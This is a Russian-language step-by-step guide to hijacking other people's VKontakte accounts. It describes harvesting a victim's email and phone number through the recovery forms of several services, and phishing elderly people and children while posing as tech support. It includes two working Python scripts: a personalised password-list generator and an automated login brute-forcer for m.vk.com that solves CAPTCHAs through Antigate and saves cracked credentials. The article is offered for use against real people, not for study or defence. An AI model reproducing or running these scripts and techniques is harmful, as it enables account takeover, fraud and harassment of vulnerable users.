Пошаговый взлом страницы ВК

В статье приводится несколько возможных способов взлома ВКонтакте, ориентированных на людей, недалёких в компьютерной безопасности.

Иными словами, при взломе будут использоваться не машинные, а человеческие уязвимости. Естественно, приведённые методы не универсальны (и слава богу!), и у кого-то может хватить мозгов на то, чтобы не поддаваться на ваши провокации. Но таких не так уж много, поверьте. Итак, начнём. Прежде всего, перед началом вам понадобятся страница, которую вы собираетесь «хакнуть», свободное время и безопасный доступ к ВКонтакте. Сам процесс взлома разделим на несколько шагов.

1) Сбор информации

ВКонтакте

 

Прежде всего, нужно собрать как можно информации со страницы потенциальной жертвы, а именно:

1. URL страницы.

2. Сохраняем себе ID или, если там имеется буквенная замена, то ее. Аккаунты и другую нужную нам информацию, всякого рода твиттеры и тому подобное.

3. Неплохо было бы заиметь почту цели.

4. Если человек не только попал в сеть, вы сможете найти почту путем простого гугления. К примеру, особо удобно отыскивать почту на mail.ru. Также можно попробовать поискать Ф.И.О. цели и дату рождения. Или же другого рода такие комбинации. Если жертва имеет Мой Мир на mail, то почта будет в коде страницы или же в URL.В том случае, когда имеется почта без соц.сети от mail’a, почту можно выяснить, создав себе подставную почту на этом сервисе и поискав в мессенджере от мэйла. Как ещё один из способов, можно попробовать найти что-нибудь дельное с помощью аккаунтов цели в других социальных сетях. Например, попытаться пробить никнеймы из всех найденных аккаунтов по всем известным почтовым сервисам. Как вариант, можно попробовать использовать импорт почтовых контактов и предложение добавить этих людей в друзья. Регистрируем очередную фальшивую почту и получаем дополнительные аккаунты. Как альтернатива, можно попытать счастье, используя форму восстановления в Twitter’е, таким образом узнав часть почты. В FaceBook’е можно напрямую поискать аккаунт, введя почту в поиск.

5. Телефон.

6. Так, URL и почту узнали, осталось достать номер телефона. Не считая тех случаев, когда номер висит в открытом доступе на странице в соц. сетях или в каких-то проектах (Avito/HeadHunter/Покупка или продажа недвижимости/Свой сайт/Другое), остаётся только один метод. Имеется почта пользователя на mail’е. Вводим ее в форму восстановления в ВКонтакте, и приходит часть номера. А теперь то же самое, но на mail. И если номер там привязан, то вы увидите уже другую, вторую часть номера. Если почта не привязана, то тогда там есть секретный вопрос. Перебираем его и заставляем юзера привязать мобилку на сервис. Отлично, осталась всего пара цифр от почты. Чтобы их узнать, достаточно перебрать форму восстановления ВКонтакте уже с помощью номера. Всего-то 99 раз. Можно и автоматизировать. Также в некоторых случаях люди любят публиковать свой номер на странице, но закрывать часть номера звездочками, черточками и прочей ерундой, что также может упростить процесс взлома. Если повезет, то вам будут видны именно те цифры, которые недоступны в форме восстановления вк.

 

2) Взлом страницы ВКонтакте

На данном этапе мы будем пробовать получить доступ к аккаунту цели. Рассмотрим самые простые приёмы:

Социнженер»

Здесь сразу нужно оговориться, что этот способ годиться только для тех, кто мало что знает об интернете, но решил по каким-либо причинам зарегистрироваться в соц.сети. Как правило, это либо старики, либо дети.

Если вы хотите просто попрактиковаться, то новички ВКонтакте могут быть найдены здесь.

В данном случае, применяется один из законов психологии: человек, который не разбирается в чем-то, подсознательно доверяет тому, кто более опытен в конкретной области, и принимает его слова на веру.

Тут можно создать аккаунт представителя техподдержки, создать «официальную» почту администрации и прочее. И создать какую-нибудь легенду. Что новые пользователи обязаны проходить проверку после регистрации и дать, например, ссылку на некий тест, по итогу или для входа которого требуется логин-пасс от вк. Самое важное, чтобы вы действовали осторожно. Следует убедить пользователя, что он в безопасности. Этот приём хорошо сочетается с фейком. Кроме того, продвинутые социнженеры могут, узнав номер юзера, позвонить (анонимно, используя sip) и развести напрямую. Кроме того, вся указанная вами информация (номер телефона/упоминание фактов с указанием дат/другое) также помогает установить контакт с жертвой и косвенно говорит о том, что вы из техподдержки.

Умный» перебор

Метод, рассчитанный на среднестатистических пользователей. Для него нам надо будет специальный словарь, заточенный под конкретного человека. Давайте разберёмся со структурой нашего словаря:

· Личные данные. Сюда входят дата рождения (17.11.1992 = 1711, 1992, 17111992), возраст (1992, 2017 = 2017, 1992, 24), имя (Стас = stas, ctac) и фамилия (Иванов = ivanov).

· Аккаунты из других соц. сетей и почтовые сервисы (twitter.com/stasik_ku, facebook.com/stasss1992, stasss92@mail.ru = stasik_iv, stasss1992, stasss92).

· Увлечения (футбол, плавание, молодежка = football, swimming, molodejka, molodegka).

Также есть страница вк, на которой написано, какие пароли следует указывать, какие символы возможны и самые частые пароли.

Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые могла бы создать наша жертва.

Представляю вам мой небольшой скрипт на python, который этим и занимается.

#! coding:utf-8

import sys,os

razdel = ['_',':',';']

def uniq(seq):

seen = set()

seen_add = seen.add

return [x for x in seq if not (x in seen or seen_add(x))]

def brute_words(words):

new_words = []

for i in words:

new_words.append(i)

new_words.append(i[0].upper() + i[1:])

new_words.append(i[0].upper() + i[1:-1] + i[-1].upper())

new_words.append(i.upper())

for j in spisok:

new_words.append(i + j)

for m in razdel:

new_words.append(j + m + i)

new_words.append(j + i)

new_words.append(i * 2 + j)

new_words.append(j * 2 + i)

new_words.append(i[0].upper() + i[1:] + j)

new_words.append(i[0].upper() + i[1:-1] + i[-1].upper() + j)

return uniq(new_words)

def generate(words_file):

o = open(words_file, 'r')

words = o.read().splitlines()

for i in brute_words(words):

print(i)

def main():

try:

argv1 = sys.argv[1]

generate(argv1)

except IndexError:

print("Нужно указать файл")

except IOError:

print("Нет такого файла")

if __name__ == "__main__":

main()

 

Из 14 получилось 1272 варианта. Приведу часть.

Molodegkactac

MolodegkActac

molodejka_molodegka

Stasss92molodejka

stasss92molodegka

molodegka_stasss92

molodegka:stasss92

molodegka;stasss92

stasss1992swimming

swimming_stasss1992

Kurayginctac

KuraygiNctac

kurayginkuraygin

kuraygin_kuraygin

molodegka17111992

1711199217111992molodegka

molodegkamolodegka17111992

24

1711_24

 

Отлично, теперь автоматизируем перебор паролей через мобильную версию ВКонтакте небольшим скриптом.

#! coding: utf8

import grab, re, urllib2

from antigate import AntiGate

from grab import GrabTimeoutError

from time import sleep

cap_key = '123 ' #Ваш ключ с Antigate

def anti(key, file): #Получение решения Captcha с Antigate

try:

try:

data = AntiGate(key, file)

return data

except KeyboardInterrupt:

print("Завершение")

except:

anti(key, file)

def save(url, file): #Скачивание файла по URL

site = urllib2.urlopen(url)

f = open(file, 'wb')

f.write(site.read())

def cap_solve(img):

save(img, 'captcha.jpg')

key = anti(cap_key, 'captcha.jpg')

return key

def brute(login, passwords, save):

out = open(save, 'w')

psswrds = open(passwords,'r')

try:

int(login)

prefix = True

except:

prefix = False

g = grab.Grab()

g.go('http://m.vk.com')

for line in psswrds:

psswrd = line.rstrip('\r\n')

g.doc.set_input('email', login)

g.doc.set_input('pass', psswrd)

g.doc.submit()

if g.doc.text_search(u'captcha'):

all_captchas = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]

captcha = '' + all_captchas

key = cap_solve(captcha)

g.doc.set_input('email', login)

g.doc.set_input('pass', psswrd)

g.doc.set_input('captcha_key', str(key))

g.doc.submit()

print("cap")

if 'Подтвердить' in g.response.body:

if prefix:

prefix1 = g.doc.rex_search('\+[0-9]*').group(0)

prefix2 = g.doc.rex_search(' [0-9]*').group(0)

pre1 = re.findall('[0-9]{1,}', prefix1)[0]

pre2 = re.findall('[0-9]{1,}', prefix2)[0]

login = login.replace(pre1, '')

login = login.replace(pre2, '')

g.set_input('code', login)

g.submit()

print(login + ':' + psswrd + '--success')

out.write(login + ':' + psswrd + '\n')

else:

out.write(login + ':' + psswrd + '\n')

else:

if g.doc.rex_search('[^>]+').group(0) == 'Login | VK':

print(login + ':' + psswrd + '--fail')

else:

print(login + ':' + psswrd + '--success')

out.write(login + ':' + psswrd + '\n')

out.close()

psswrds.close()

 

Естественно, пример не оптимизирован. Можно ещё добавить прокси, многопоточность и прочие плюшки, но этим уже сами займётесь, если будет интересно. Зато скрипт способен сам вводить недостающие цифры в защиту ВКонтакте при заходе с другой страны, а также, используя Antigate, запросто вводит Captch’и, появляющиеся после 5-6 попытки ввода с одного IP.


Понравилась статья? Добавь ее в закладку (CTRL+D) и не забудь поделиться с друзьями:  



double arrow
Сейчас читают про: